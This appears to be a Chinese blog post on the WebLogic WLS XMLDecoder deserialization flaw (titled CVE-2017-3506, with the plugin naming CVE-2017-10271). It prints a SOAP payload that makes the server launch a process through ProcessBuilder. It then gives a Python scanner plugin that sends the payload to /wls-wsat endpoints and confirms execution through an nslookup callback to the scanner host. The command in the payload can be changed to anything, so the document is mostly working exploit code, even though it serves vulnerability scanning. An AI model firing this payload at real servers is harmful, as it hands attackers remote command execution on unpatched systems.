weblogic新漏洞学习cve-2017-3506

 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
 2     <soapenv:Header> 
 3         <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
 4             <java version="1.8" class="java.beans.XMLDecoder"> 
 5                 <void class="java.lang.ProcessBuilder"> 
 6                     <array class="java.lang.String" length="3"> 
 7                         <void index="0"> 
 8                             <string>nslookup</string> #命令名称 
 9                         </void>  
10                         <void index="1"> 
11                             <string>%s</string> #巡风的随机字符串，用来后面去查HTTP或者DNS log的flag字符串
12                         </void> 
13                         <void index="2"> 
14                             <string>%s</string> #目标IP
15                         </void> 
16                     </array>  
17                 <void method="start"/>
18                 </void> 
19             </java> 
20         </work:WorkContext> 
21     </soapenv:Header>  
22     <soapenv:Body/> 
23 </soapenv:Envelope>

  1 #!/usr/bin/python
  2 # coding:utf-8
  3 ‘‘‘
  4 巡风及巡风的插件基于python2
  5 主要有两个函数:
  6 get_plugin_info() 返回插件信息
  7 check(ip, port, timeout) 接收IP，端口号及超时参数供巡风主程序调用，有返回值且返回值在判断里为True，即为漏洞存在，返回值即为本次的扫描结果，详情请看接下来的函数实现
  8 ‘‘‘
  9 
 10 import random
 11 import urllib2
 12 import socket
 13 from time import sleep
 14 
 15 
 16 def get_plugin_info():
 17     ‘‘‘get_plugin_info 函数用于返回该插件和插件所检测漏洞的信息‘‘‘
 18     plugin_info = {
 19         "name": "WebLogic WLS RCE CVE-2017-10271",
 20         "info": "Oracle WebLogic Server WLS安全组件中的缺陷导致远程命令执行",
 21         "level": "高危",
 22         "type": "命令执行",
 23         "author": ".@sinosig",
 24         "url": "https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html",
 25         "keyword": "tag:weblogic",
 26     }
 27     return plugin_info
 28 
 29 
 30 def random_str(len):
 31     ‘‘‘返回随机字符串‘‘‘
 32     str1 = ""
 33     for i in range(len):
 34         str1 += (random.choice("ABCDEFGH1234567890"))
 35     return str(str1)
 36 
 37 
 38 def get_ver_ip(ip):
 39     ‘‘‘返回当前服务器ip，当poc所用payload无回显时，可以使用巡风辅助验证的http服务和dns服务‘‘‘
 40     csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 41     csock.connect((ip, 80))
 42     (addr, port) = csock.getsockname()
 43     csock.close()
 44     return addr
 45 
 46 
 47 def check(ip, port, timeout):
 48     ‘‘‘本次poc的验证的主函数，巡风会调用该函数进行漏洞检测‘‘‘
 49     test_str = random_str(6)
 50     server_ip = get_ver_ip(ip)
 51     check_url = [‘/wls-wsat/CoordinatorPortType‘, ‘/wls-wsat/CoordinatorPortType11‘]
 52 
 53     heads = {
 54         ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)‘,
 55         ‘Accept‘: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8‘,
 56         ‘Accept-Language‘: ‘zh-CN,zh;q=0.8‘,
 57         ‘SOAPAction‘: "",
 58         ‘Content-Type‘: ‘text/xml;charset=UTF-8‘,
 59     }
 60 
 61     # 本次漏洞的payload
 62     # 本次命令执行漏洞的payload所触发的response没有明显回显和行为提供判断，所以作者使用nslookup发送dns请求到get_ver_ip函数中取到的服务器地址，如果巡风服务器收到带有random_str函数生成的随机字符串的dns请求即可判断为漏洞存在。
 63     post_str = ‘‘‘
 64         <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
 65           <soapenv:Header> 
 66             <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
 67               <java version="1.8" class="java.beans.XMLDecoder"> 
 68                 <void class="java.lang.ProcessBuilder"> 
 69                   <array class="java.lang.String" length="3"> 
 70                     <void index="0"> 
 71                       <string>nslookup</string> 
 72                     </void>  
 73                     <void index="1"> 
 74                       <string>%s</string> 
 75                     </void> 
 76                     <void index="2"> 
 77                       <string>%s</string> 
 78                     </void> 
 79                   </array>  
 80                   <void method="start"/>
 81                 </void> 
 82               </java> 
 83             </work:WorkContext> 
 84           </soapenv:Header>  
 85           <soapenv:Body/> 
 86         </soapenv:Envelope>
 87                 ‘‘‘ % (test_str, server_ip)
 88     for url in check_url:
 89         target_url = ‘http://‘ + ip + ‘:‘ + str(port) + url.strip()
 90         req = urllib2.Request(url=target_url, headers=heads)
 91         if ‘Web Services‘ in urllib2.urlopen(req, timeout=timeout).read():
 92             req = urllib2.Request(url=target_url, data=post_str, headers=heads)
 93             try:
 94                 urllib2.urlopen(req, timeout=timeout).read()
 95             except urllib2.URLError:
 96                 pass
 97             sleep(2)
 98             # 这里请求 http://{巡风的地址}:8088/{本次生成随机字符串} 如果返回YES，则证明服务器收到该请求，漏洞存在
 99             check_result = urllib2.urlopen("http://%s:8088/%s" % (server_ip, test_str), timeout=timeout).read()
100             if "YES" in check_result:
101                 return "Exist CVE-2017-10271"
102         else:
103             pass